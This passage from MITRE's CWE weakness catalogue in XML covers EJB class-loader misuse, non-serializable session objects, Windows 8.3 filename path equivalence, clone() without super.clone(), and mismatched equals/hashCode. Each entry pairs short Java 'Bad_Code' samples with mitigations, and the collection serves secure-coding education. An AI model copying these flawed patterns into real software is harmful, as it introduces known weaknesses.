						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use the Class Loader when writing EJBs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java example is a simple stateless Enterprise JavaBean
						that retrieves the interest rate for the number of points for a mortgage.
						The interest rates for various points are retrieved from an XML document on
						the local file system, and the EJB uses the Class Loader for the EJB class
						to obtain the XML document from the local file system as an input
						stream.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class InterestRateBean implements InterestRateRemote
								{</Code>
							              <Code/>
							              <Block>
								                <Code>private Document interestRateXMLDocument = null;</Code>
								                <Code/>
								                <Code>public InterestRateBean() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Comment>// get XML document from the local filesystem as an
											input stream</Comment>
										                    <Comment>// using the ClassLoader for this class </Comment>
										                    <Code>ClassLoader loader =
											this.getClass().getClassLoader();</Code>
										                    <Code>InputStream in =
											loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);</Code>
									                  </Block>
								                </Block>
								                <Code/>
								                <Code>DocumentBuilderFactory dbf =
									DocumentBuilderFactory.newInstance();</Code>
								                <Block>
									                  <Code>DocumentBuilder db = dbf.newDocumentBuilder();</Code>
									                  <Code>interestRateXMLDocument = db.parse(interestRateFile);
									</Code>
								                </Block>
								                <Code> } catch (IOException ex) {...}</Code>
							              </Block>
							              <Code> }</Code>
							              <Code/>
							              <Block>
								                <Code>public BigDecimal getInterestRate(Integer points) { </Code>
								                <Block>
									                  <Code>return getInterestRateFromXML(points);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>/* member function to retrieve interest rate from XML
									document on the local file system */</Comment>
								                <Code>private BigDecimal getInterestRateFromXML(Integer points)
									{...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This use of the Java Class Loader class within any kind of Enterprise
							JavaBean violates the restriction of the EJB specification against
							obtaining the current class loader as this could compromise the security
							of the application using the EJB.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>An EJB is also restricted from creating a custom class loader and
						creating a class and instance of a class from the class loader, as shown in
						the following example.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class LoaderSessionBean implements LoaderSessionRemote
								{</Code>
							              <Code/>
							              <Block>
								                <Code>public LoaderSessionBean() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>ClassLoader loader = new CustomClassLoader();</Code>
										                    <Code>Class c = loader.loadClass("someClass");</Code>
										                    <Code>Object obj = c.newInstance();</Code>
										                    <Code>/* perform some task that uses the new class instance
											member variables or functions */</Code>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>} catch (Exception ex) {...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public class CustomClassLoader extends ClassLoader {</Code>
								                <Code/>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="579" Name="J2EE Bad Practices: Non-serializable Object Stored in Session" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application stores a non-serializable object as an
					HttpSession attribute, which can hurt reliability.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>A J2EE application can make use of multiple JVMs in order to improve
						application reliability and performance. In order to make the multiple JVMs
						appear as a single application to the end user, the J2EE container can
						replicate an HttpSession object across multiple JVMs so that if one JVM
						becomes unavailable another can step in and take its place without
						disrupting the flow of the application.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In order for session replication to work, the values the application
							stores as attributes in the session must implement the Serializable
							interface.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following class adds itself to the session, but because it is
						not serializable, the session can no longer be replicated.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class DataGlob {</Code>
							              <Block>
								                <Code>String globName;</Code>
								                <Code>String globValue;</Code>
								                <Code/>
								                <Code>public void addToSession(HttpSession session) {</Code>
								                <Block>
									                  <Code>session.setAttribute("glob", this);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="58" Name="Path Equivalence: Windows 8.3 Filename" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains a protection mechanism that restricts
					access to a long filename on a Windows operating system, but the software does
					not properly restrict access to the equivalent short "8.3"
					filename.</Description_Summary>
				        <Extended_Description>
					          <Text>On later Windows operating systems, a file can have a "long name" and a
						short name that is compatible with older Windows file systems, with up to 8
						characters in the filename and 3 characters for the extension. These "8.3"
						filenames, therefore, act as an alternate name for files with long names, so
						they are useful pathname equivalence manipulations.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Disable Windows from supporting 8.3 filenames by editing the Windows
							registry. Preventing 8.3 filenames will not remove previously generated
							8.3 filenames.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0012</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple web servers allow restriction bypass
						using 8.3 names instead of long names</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0795</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using 8.3 file
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0471</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-Factor Vulnerability. Product generates
						temporary filenames using long filenames, which become predictable in 8.3
						format.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>File processing</Functional_Area>
			      </Functional_Areas>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Probably under-studied</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2003</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "DOS 8.3 Filenames", Page
						673.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Windows 8.3 Filename</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Windows 8.3
						Filename</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="580" Name="clone() Method Without super.clone()" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains a clone() method that does not call
					super.clone() to obtain the new object.</Description_Summary>
				        <Extended_Description>
					          <Text>All implementations of clone() should obtain the new object by calling
						super.clone(). If a class does not follow this convention, a subclass's
						clone() method will return an object of the wrong type. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Call super.clone() within your clone() method, when obtaining a new
							object.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In some cases, you can eliminate the clone method altogether and use
							copy constructors.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following two classes demonstrate a bug introduced by not
						calling super.clone(). Because of the way Kibitzer implements clone(),
						FancyKibitzer's clone method will return an object of type Kibitzer instead
						of FancyKibitzer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class Kibitzer {</Code>
							              <Block>
								                <Code>public Object clone() throws CloneNotSupportedException
									{</Code>
								                <Block>
									                  <Code/>
									                  <Code>Object returnMe = new Kibitzer();</Code>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public class FancyKibitzer extends Kibitzer{</Code>
							              <Block>
								                <Code>public Object clone() throws CloneNotSupportedException
									{</Code>
								                <Block>
									                  <Code/>
									                  <Code>Object returnMe = super.clone();</Code>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Erroneous Clone
						Method</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="581" Name="Object Model Violation: Just One of Equals and Hashcode Defined" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not maintain equal hashcodes for equal
					objects.</Description_Summary>
				        <Extended_Description>
					          <Text>Java objects are expected to obey a number of invariants related to
						equality. One of these invariants is that equal objects must have equal
						hashcodes. In other words, if a.equals(b) == true then a.hashCode() ==
						b.hashCode().</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If this invariant is not upheld, it is likely to cause trouble if
							objects of this class are stored in a collection. If the objects of the
							class in question are used as a key in a Hashtable or if they are
							inserted into a Map or Set, it is critical that equal objects have equal
							hashcodes.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Both Equals() and Hashcode() should be defined.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Classes that define an equals() method must also define a
						hashCode() method</Mapped_Node_Name>
					          <Mapped_Node_ID>MET09-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Object Model Violation: Just
						One of Equals and Haschode Defined</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
